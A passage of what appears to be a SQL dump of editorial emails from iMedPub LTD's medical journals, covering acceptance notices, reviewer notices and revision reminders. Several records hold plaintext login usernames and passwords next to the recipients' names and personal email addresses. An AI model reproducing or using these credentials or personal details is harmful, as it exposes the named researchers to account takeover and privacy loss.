for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','boufriouaelghali@gmail.com',6964,'2021-04-23',85),(3038,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7029</b><br />\r\n            <br />\r\n            Article Title: <b>Eltrombopag &acirc;&euro;&ldquo; a cost-effective single oral therapeutic agent avoiding splenectomy in steroid-resistant immune thrombocytopenic purpura</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Muhammed Jasim Abdul Jalal</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7029</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',7029,'2021-04-24',85),(3040,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7883</b><br />\r\n            <br />\r\n            Article Title: <b>Aspergilosis invasiva subaguda en paciente con hipercortisolismo end&oacute;geno</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rocha</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rochamariac201@gmail.com',7883,'2021-04-25',274),(3041,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7843</b><br />\r\n            <br />\r\n            Article Title: <b>PALIVIZUMAB ESTRATEGIA INMUNOL&Oacute;GICA EN EL TRATAMIENTO Y PREVENCI&Oacute;N DEL VIRUS SINCITIAL RESPIRATORIO</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Marquez </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','johana.marquez@curnvirtual.edu.co',7843,'2021-04-25',274),(3042,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7029</b><br />\r\n            <br />\r\n            Article Title: <b>Eltrombopag &acirc;&euro;&ldquo; a cost-effective single oral therapeutic agent avoiding splenectomy in steroid-resistant immune thrombocytopenic purpura</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abdul Jalal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','poolspuff@gmail.com',7029,'2021-04-25',85),(3043,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7030</b><br />\r\n            <br />\r\n            Article Title: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-7030</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','kararda@yahoo.com',7030,'2021-04-25',85),(3052,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7030</b><br />\r\n            <br />\r\n            Article Title: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ilhan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drgulilhan@hotmail.com',7030,'2021-04-27',85),(3055,'<p>Ref.:  Ms. No. : <b>ipaom-21-8068</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Assessing factors associated with poor community based health insurance client satisfaction level with public health care services in NegeleArsiWoreda health centers, West Arsi Zone Ethiopia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Wanamo</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8068</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>tilahun</b><br />\r\npassword: <b>09qewni6</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','tilahunjimma2008@gmail.com',8068,'2021-04-27',85),(3056,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-04-27',85),(3061,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8173</b><br />\r\n            <br />\r\n            Article Title: <b>Sero-prevalence of IgG and IgA Antisperm Antibodies in Men with Infertility Attending Two Major Hospitals in Zaria, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Isah Shuaib</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','imam02803@gmail.com',8173,'2021-04-28',48),(3062,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8244</b><br />\r\n            <br />\r\n            Article Title: <b>Jejunal Diverticulosis perforation: rare cause of Acute Abdomen</b><br />\r\n            <br />\r\n            Corresponding Author: <b>yassine dkhissi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            The review for the manuscript <b>IPJUS-21-8244</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','ivywang@creighton.edu',8244,'2021-04-28',319),(3066,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8307</b><br />\r\n            <br />\r\n            Article Title: <b>Pharmacological Treatments for Coronavirus Disease (COVID-19)</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dogan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dgzeytun@erincan.edu.tr',8307,'2021-04-29',85),(3075,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7678</b><br />\r\n            <br />\r\n            Article Title: <b>The potential therapeutic value of BDNF-TrkB pathway in COVID-19 associated stroke</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sanketh Andhavarapu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7678</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',7678,'2021-04-30',75),(3076,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7678</b><br />\r\n            <br />\r\n            Article Title: <b>The potential therapeutic value of BDNF-TrkB pathway in COVID-19 associated stroke</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Andhavarapu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sandhava@umd.edu',7678,'2021-04-30',75),(3081,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7677</b><br />\r\n            <br />\r\n            Article Title: <b>Importance of CSF glucose: protein ratio in diagnosis of Tuberculous Meningitis.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Munish Kumar</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7677</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7677,'2021-04-30',75),(3082,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7677</b><br />\r\n            <br />\r\n            Article Title: <b>Importance of CSF glucose: protein ratio in diagnosis of Tuberculous Meningitis.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kumar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','MUNISHPMCH@GMAIL.COM',7677,'2021-04-30',75),(3083,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8323</b><br />\r\n            <br />\r\n            Article Title: <b>Anatomical variations of the anterior part of the circle of Willis-an autopsic study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ana-Maria  Dumitrescu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>IPJUS-21-8323</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yang<br />\r\n            <b>Password:</b> MikP82VX<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivywang@creighton.edu',8323,'2021-04-30',319),(3085,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-04-30',85),(3086,'<p>Ref.:  Ms. No. : <b>ipaom-21-7764</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Alahmadi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7764</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>faisal</b><br />\r\npassword: <b>njGvI6rf</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','faisalmosaalahmadi@gmail.com',7764,'2021-04-30',85),(3087,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8226</b><br />\r\n            <br />\r\n            Article Title: <b>An Estimate of the Net Benefits from Prior Authorization Policies in the U.S.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Popovian</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rpopovian@gmail.com',8226,'2021-05-02',48),(3088,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 